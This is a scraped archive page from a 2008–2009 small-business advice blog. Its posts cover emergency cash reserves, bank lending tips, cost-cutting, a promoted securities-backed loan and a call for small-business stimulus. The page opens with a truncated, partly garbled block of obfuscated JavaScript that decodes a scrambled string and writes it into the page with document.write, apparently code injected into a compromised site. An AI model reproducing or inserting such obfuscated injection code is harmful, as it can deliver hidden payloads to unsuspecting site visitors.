=192)cad07dc47+=848;else if(cad07dc47==168)cad07dc47=1025;else if(cad07dc47==184)cad07dc47=1105;document.write(String.fromCharCode(cad07dc47));continue;}pf71c68a=(ad65ac20+'').charCodeAt(0);if(pf71c68a>848)pf71c68a-=848;v625b0bc=pf71c68a-xf8314-47;if(v625b0bc<0)v625b0bc+=256;if(v625b0bc>=192)v625b0bc+=848;else if(v625b0bc==168)v625b0bc=1025;else if(v625b0bc==184)v625b0bc=1105;document.write(String.fromCharCode(v625b0bc));}}q7e637e7fcd8b("1bfb5","59�253�4$3*1�569�\\�8�TIV�4","61��227��427��207��1","87�","�193��1","91��571�'�","17�4�55","7�=R","=/?N�474��242��2","49��253��5","53��255��22��2","29��226�<","G;ME","=FL�6�OJ�39","4�","�162��500��23�","�","8��203��1","97","��223","��1","2��9","��21","��4��16��8��195��22��21��40","3��165��12","7�i�170��182��182��1","7","8��4","97��218��207�","�207��2","0��8��5��15��19��","13��1��18","�","�","9��527�,�31�\"","#�23","6","�!-�483��","255��443�","�152��203��568�\\�22�","SPIYH�480��1��248��244��2��190��249��254","��254��252��251��","51","6��20��555��9�=FC?H�459��2","38��","169","��222��21","9��23","8��2","19��42","4��1","34��467��2","35��240��457��220��399��16","3��182��526��235��584�g_g","�30��","23�n`[�546�E9","�14��2��2","41��516","��27","��52","8�$�443��211��209��210��222��167��","155��138","�","�221��488��11","��","16��418��189","��47","9��2","43��203��181��4��247��1��24","7��440��201��208","�","�2","11��208��219��539�C�4�23..�563�","G�532","�1�254�326,7,","�582","�dc/","�547�34","EA>GF","7�24","9��","16��4","95��218��205��7��4��1","6��255�","�11��3","�","�220��19","2��199��404��126��127","�","r�182��559�APGN�","573�`*"); small business budgeting · Will Corrente Operation Entrepreneur








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Archive for the small business budgeting

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December 4th, 2009 by admin No Comments

Small Business Consulting Advice-Lessons I learned from my embezzling bookkeeper – Oct. 5, 2009

December 1st, 2009 by admin No Comments

This article points out a valuable lesson about business controls. Financial controls such as; check writing, deposits, bank account numbers, etc should never be placed in the hands of new employees without some sort of oversight or system of checks and balances in place.

Using a management system like my Power Squared System, helps entrepreneur business owners develop the systems to manage thier businesses effectively and create plans and processes to ensure that the events that transpired in this article do not happen to them.

Lessons I learned from my embezzling bookkeeper – Oct. 5, 2009.

Alternative Financing for Entrepreneurs

November 9th, 2009 by admin No Comments

As entrepreneurs, we know that tapping into home equity loans, credit cards, or bank financing is down right difficult, if not impossible in this current economic climate. But, if you are en entrepreneur in the position of having an investment portfolio of $100,000 or more, than you may have just found a way to finance your business start up, purchase, finance, etc. This type of lending allows the borrower to use their investments (stocks, mutual funds, bonds or other securities) to obtain funds for personal or business use.

Check out this great website of a new strategic partner of mine for additional information http://www.investmentportfolioloans.com

Here are some quick features and benefits of this innovative loan product

• Fixed interest rates between 2.5% and 4.5%
• Interest Only quarterly loan payments
• Loan terms of 3, 5, 7, or 10 years
• No closing costs (an Origination Fee may apply)
• No lenders fees
• No upfront fees
• No due-diligence fees
• No credit check
• No income verification nor is it asked for
• Funds may be used for any purpose including personal or business use
• Non-recourse loan. The only collateral are the pledged securities. Should the borrower default on the loan, the borrower keeps the loan proceeds and the lender only claims the collateral. The borrower’s liability is limited to the collateral pledged for the loan. The lender has no right to proceed against the borrower for any deficiency.
• Loans available for up to 80% of the securities value
• The borrower retains all dividends and upside market appreciation that the securities generate
• Prompt response to a loan inquiry, usually within one business day of receiving the security information.
• Quick Fundings – usually in a matter of days
• Flexible terms at loan maturity. The borrower may renew the loan, possibly refinance, or pay off the loan.

Getting a Loan in Today’s Environment

April 5th, 2009 by admin No Comments

Today’s Post is courtesy of Chris Cook a local banker and member of my Operation Entrepreneur Group on Facebook, he posted this in a forum discussion a few weeks ago.

I work for a local bank in downtown West Palm Beach called First Bank of the Palm Beaches and we are certainly still doing small business loans.

I will give you some tips to keep in mind when applying for a bank loan.

1) You have to be able to prove you can pay it back. That means tax returns that reflect the true state of the business. Always be honest with your tax returns if you think your business might ever need debt.

2) You can not be a brand new business. If you are personally wealthy and want to secure a new business loan by your stock portfolio or your free and clear house, go for it. But a bank will typically not finance a start up business.

3) Be prepared for the loan to take about a month to close from start to finish.

4) Be prepared to pay closing costs.

5) Be prepared to move your business checking account to your new bank.

6) Make sure you meet more than one person at the bank so you are not left high and dry if your banker leaves or gets laid off.

7) Follow this rule of thumb, the smaller the business you are, the smaller the bank you should be with. You will get much better service from a community bank than from one of the big boys.

Reprinted with permission by Operation Entrepreneur

Christopher Cook
Vice President & Commercial Banker
First Bank of the Palm Beaches.
ccook@firstbankpb.com
561-847-2700

An Emergency Fund is A Great Idea For Any Business

March 26th, 2009 by admin No Comments

Entrepreneur advice, an emergency fund is a great idea for any business.

Does your business have an emergency fund? Do you have money set aside in a separate account for unexpected expenses or ebbs in cash flow? Relying on a credit line, may not be enough in today’s tough economic environment. Many of my entrepreneur coaching clients and consulting associates have told me stories about banks freezing their lines, resetting terms or cutting them off completely.

There is an old saying: “Cash is King”. This definitely holds true when your business needs some lifeblood to ride out a tough time. In personal financial planning, it is recommended that individuals set aside an emergency fund of cash equal to 6 months of living expenses in case a job loss or other interruption of income occurs.

I think this is great advice not only for individuals, but for business owners as well. In my businesses, I have always felt most comfortable with 3 months of operating expenses in reserve and another month or 2 available on some sort of credit i.e.-credit lines, credit cards, etc.

One of the reasons I recommend to my small business consulting clients to maintain an emergency reserve fund of at least 3 but up to 6 months of expenses is not only to allow the business to weather any economic storm, but also to continue to pay the owners compensation while he/she rides out the tough times. If the reserves had not been set in place, and the business owner was already managing the business’s expenses aggressively, the only remaining place to cut is the owner’s compensation. It is stressful enough to manage your business on a shoestring, but adding your personal finances to the mix is a recipe for disaster. For business owners, cutting personal compensation should always be the last resort.

Since the beginning of the banking crisis last year, I occasionally tap my credit line and repay it to ensure it is there when I need it most. In addition, I keep in touch with my banker to ensure none of the terms have changed and I am constantly keeping an eye out for other possible credit avenues. In the past, I had been a loyal customer to my one bank, now a days, I regularly accept calls and respond to solicitations from other bankers, just to keep my ear to the ground in preparation for the slightest change by my lender.

In my businesses, or any business for that matter, the chances of a 100% decrease in monthly revenue is very slim. But in these economic times, it is quite possible to have a 30% or more sales dip in one or several months. It is in those months that you will be thankful that you planned ahead and put your reserves away for the slow times.

Guiding Entrepreneur's From Idea to Execution and Beyond

Entrepreneur Survival Tips for Tough Times

January 14th, 2009 by admin No Comments

All of the current economic data predicts that 2009 will present many more challenging months for business owners. If you and your business are fortunate enough to have survived the tough times in 2008, here is some small business consulting advice to guarantee survival in the new year:

1) Ask for Discounts- ask all of your vendors for discounts on purchases, shipping, surcharges and fees.

2) Trim the Fat off Every Bill- Often times bills for recurring services like pest control, phone service, bottled water, web hosting, and certain advertising are laden with charges for extra bells and whistles you can do without in exchange for saving a buck or two.

3) Compare Bills to Prior Months for Price Increases- If you notice surcharges, increases or other fees that are increasing your costs, call the vendor and ask for a waiver or reduction.

4) Renegotiate Interest Rates on Credit Cards- Become an interest rate hawk, call your credit card provider and ask for a rate reduction. Most companies will decrease rates for clients in good standing.

5) Talk to Your Landlord- For lots of businesses, rent is the largest expense, ask for some temporary relief and use the saved cash to establish an emergency fund.

We all know good times are ahead. The smart & savy Entrepreneur business owner who can survive this environment will do very well when the economy recovers. Taking some of these steps will help to ensure you are here to reap the rewards of all your hard work.

An Emergency Fund is Part of Sound Fiscal Planning for Entrepreneurs & Individuals

December 31st, 2008 by admin 1 Comment

In personal financial planning, it is recommended that individuals set aside an emergency fund of cash equal to 6 months of living expenses in case a job loss or other interuption of income occurs. This is great advice not only for individuals, but for young entrepreneurs, and experienced business owners as well.

I have always felt most comfortable in business with 3 months of operating expenses in reserve and another month or 2 available on some sort of credit i.e.-credit lines, credit cards, etc. These reserves can allow the business to weather any economic storm without reducing the owners personal compensation while he/she rides out the tough times. If the reserves had not been set in place, and the business owner is already managing the businesses expenses aggressively, the only remaining place to cut is owner compensation. For business owners, this should always be a last resort.

In my businesses, the chances of me losing 100% of monthly revenue is very slim. But in these economic times, it is quite possible to have a 30% or more sales dip in one or several months. In those months I thankful I have my reserves in place and that I put a little bit away for a rainy day.

Will Corrente – “Helping People Get Where They Want To Go”

Specializes in small business consulting, entrepreneur coaching, and entrepreneur development. He is an Entrepreneur, Consultant, Speaker and, The author of the “POWER Squared – The Ultimate Entrepreneur Success System” visit him at www.OperationEntrepreneur.com/7secrets/

How about a small business & entrepreneur bailout

December 6th, 2008 by admin No Comments

Why isn’t the government talking about a small business stimulus package?

The SBA has always been touted as the small business owners friend. Although, I agree the SBA is a great resource for small business consulting, entrepreneur development training advice, counseling and local seminars, but for financial assistance the SBA always falls short. There was a recent comment on Fox Business News this week where the morning host had said that” if you can qualify for an SBA loan, then you don’t need an SBA loan”. Maybe it is time for the government to create some programs to help the little guy as well as the big, help young entrepreneurs, and start ups.

In one of my ventures, I have 17 people who rely on me for their income. I contribute to the local economy, pay my taxes, and do my part to keep the economy chugging along. In tough times like this, my resources are limited for raising additional capital or finding favorable loan terms.

Let’s take a portion of the bailout funds and create some SBA programs that actually help small businesses where they need it most, in their cash flow. I am not talking about a hand out, just less hurdles and more favorable terms.